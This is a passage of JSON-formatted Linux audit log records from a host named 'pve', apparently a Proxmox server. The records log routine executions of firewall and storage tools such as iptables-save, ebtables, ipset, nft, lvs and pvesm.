ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165356,"@rawstring":"node=pve type=PATH msg=audit(1781965165.356:64452): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165356,"@rawstring":"node=pve type=PATH msg=audit(1781965165.356:64452): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165350,"@rawstring":"node=pve type=PATH msg=audit(1781965165.350:64451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165350,"@rawstring":"node=pve type=PATH msg=audit(1781965165.350:64451): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165344,"@rawstring":"node=pve type=PATH msg=audit(1781965165.344:64449): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165344,"@rawstring":"node=pve type=PATH msg=audit(1781965165.344:64449): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165339,"@rawstring":"node=pve type=PATH msg=audit(1781965165.339:64448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165339,"@rawstring":"node=pve type=PATH msg=audit(1781965165.339:64448): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165334,"@rawstring":"node=pve type=PATH msg=audit(1781965165.334:64447): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165334,"@rawstring":"node=pve type=PATH msg=audit(1781965165.334:64447): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165328,"@rawstring":"node=pve type=PATH msg=audit(1781965165.328:64446): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165328,"@rawstring":"node=pve type=PATH msg=audit(1781965165.328:64446): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165322,"@rawstring":"node=pve type=PATH msg=audit(1781965165.322:64445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165322,"@rawstring":"node=pve type=PATH msg=audit(1781965165.322:64445): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165316,"@rawstring":"node=pve type=PATH msg=audit(1781965165.316:64444): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165316,"@rawstring":"node=pve type=PATH msg=audit(1781965165.316:64444): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165309,"@rawstring":"node=pve type=PATH msg=audit(1781965165.309:64443): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165309,"@rawstring":"node=pve type=PATH msg=audit(1781965165.309:64443): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165300,"@rawstring":"node=pve type=PATH msg=audit(1781965165.300:64442): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165300,"@rawstring":"node=pve type=PATH msg=audit(1781965165.300:64442): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165298,"@rawstring":"node=pve type=PATH msg=audit(1781965165.298:64441): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165298,"@rawstring":"node=pve type=PATH msg=audit(1781965165.298:64441): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165292,"@rawstring":"node=pve type=PATH msg=audit(1781965165.292:64440): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165292,"@rawstring":"node=pve type=PATH msg=audit(1781965165.292:64440): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165290,"@rawstring":"node=pve type=PATH msg=audit(1781965165.290:64439): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165290,"@rawstring":"node=pve type=PATH msg=audit(1781965165.290:64439): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165290,"@rawstring":"node=pve type=PATH msg=audit(1781965165.290:64438): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165286,"@rawstring":"node=pve type=PATH msg=audit(1781965165.286:64437): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165286,"@rawstring":"node=pve type=PATH msg=audit(1781965165.286:64437): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165286,"@rawstring":"node=pve type=PATH msg=audit(1781965165.286:64437): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165278,"@rawstring":"node=pve type=PATH msg=audit(1781965165.278:64436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165278,"@rawstring":"node=pve type=PATH msg=audit(1781965165.278:64436): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165270,"@rawstring":"node=pve type=PATH msg=audit(1781965165.270:64435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165270,"@rawstring":"node=pve type=PATH msg=audit(1781965165.270:64435): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165266,"@rawstring":"node=pve type=PATH msg=audit(1781965165.266:64434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165266,"@rawstring":"node=pve type=PATH msg=audit(1781965165.266:64434): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165257,"@rawstring":"node=pve type=PATH msg=audit(1781965165.257:64433): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165257,"@rawstring":"node=pve type=PATH msg=audit(1781965165.257:64433): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165250,"@rawstring":"node=pve type=PATH msg=audit(1781965165.250:64432): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165250,"@rawstring":"node=pve type=PATH msg=audit(1781965165.250:64432): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965164197,"@rawstring":"node=pve type=PATH msg=audit(1781965164.197:64431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965164197,"@rawstring":"node=pve type=PATH msg=audit(1781965164.197:64431): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965164173,"@rawstring":"node=pve type=PATH msg=audit(1781965164.173:64430): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965164173,"@rawstring":"node=pve type=PATH msg=audit(1781965164.173:64430): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=PATH msg=audit(1781965162.029:64429): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=PATH msg=audit(1781965162.029:64429): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=PATH msg=audit(1781965162.029:64428): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=PATH msg=audit(1781965162.029:64427): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162022,"@rawstring":"node=pve type=PATH msg=audit(1781965162.022:64426): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162022,"@rawstring":"node=pve type=PATH msg=audit(1781965162.022:64426): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162022,"@rawstring":"node=pve type=PATH msg=audit(1781965162.022:64425): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162022,"@rawstring":"node=pve type=PATH msg=audit(1781965162.022:64424): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965161723,"@rawstring":"node=pve type=PATH msg=audit(1781965161.723:64423): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965161723,"@rawstring":"node=pve type=PATH msg=audit(1781965161.723:64423): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965161723,"@rawstring":"node=pve type=PATH msg=audit(1781965161.723:64423): item=0 name=\"/usr/sbin/pvesm\" inode=283167 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=PATH msg=audit(1781965157.010:64422): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=PATH msg=audit(1781965157.010:64422): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=PATH msg=audit(1781965157.010:64421): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=PATH msg=audit(1781965157.010:64420): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=PATH msg=audit(1781965157.001:64419): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=PATH msg=audit(1781965157.001:64419): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=PATH msg=audit(1781965157.001:64418): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=PATH msg=audit(1781965157.001:64417): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155233,"@rawstring":"node=pve type=PATH msg=audit(1781965155.233:64416): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155233,"@rawstring":"node=pve type=PATH msg=audit(1781965155.233:64416): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155230,"@rawstring":"node=pve type=PATH msg=audit(1781965155.230:64415): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155230,"@rawstring":"node=pve type=PATH msg=audit(1781965155.230:64415): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155228,"@rawstring":"node=pve type=PATH msg=audit(1781965155.228:64414): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155228,"@rawstring":"node=pve type=PATH msg=audit(1781965155.228:64414): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155228,"@rawstring":"node=pve type=PATH msg=audit(1781965155.228:64413): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155224,"@rawstring":"node=pve type=PATH msg=audit(1781965155.224:64412): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155224,"@rawstring":"node=pve type=PATH msg=audit(1781965155.224:64412): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155224,"@rawstring":"node=pve type=PATH msg=audit(1781965155.224:64412): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155217,"@rawstring":"node=pve type=PATH msg=audit(1781965155.217:64411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155217,"@rawstring":"node=pve type=PATH msg=audit(1781965155.217:64411): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155208,"@rawstring":"node=pve type=PATH msg=audit(1781965155.208:64410): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155208,"@rawstring":"node=pve type=PATH msg=audit(1781965155.208:64410): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155200,"@rawstring":"node=pve type=PATH msg=audit(1781965155.200:64409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155200,"@rawstring":"node=pve type=PATH msg=audit(1781965155.200:64409): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155192,"@rawstring":"node=pve type=PATH msg=audit(1781965155.192:64408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155192,"@rawstring":"node=pve type=PATH msg=audit(1781965155.192:64408): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155186,"@rawstring":"node=pve type=PATH msg=audit(1781965155.186:64406): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155186,"@rawstring":"node=pve type=PATH msg=audit(1781965155.186:64406): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155181,"@rawstring":"node=pve type=PATH msg=audit(1781965155.181:64405): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155181,"@rawstring":"node=pve type=PATH msg=audit(1781965155.181:64405): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155175,"@rawstring":"node=pve type=PATH msg=audit(1781965155.175:64404): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155175,"@rawstring":"node=pve type=PATH msg=audit(1781965155.175:64404): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155170,"@rawstring":"node=pve type=PATH msg=audit(1781965155.170:64403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155170,"@rawstring":"node=pve type=PATH msg=audit(1781965155.170:64403): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155162,"@rawstring":"node=pve type=PATH msg=audit(1781965155.162:64402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155162,"@rawstring":"node=pve type=PATH msg=audit(1781965155.162:64402): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155156,"@rawstring":"node=pve type=PATH msg=audit(1781965155.156:64401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155156,"@rawstring":"node=pve type=PATH msg=audit(1781965155.156:64401): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155148,"@rawstring":"node=pve type=PATH msg=audit(1781965155.148:64400): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 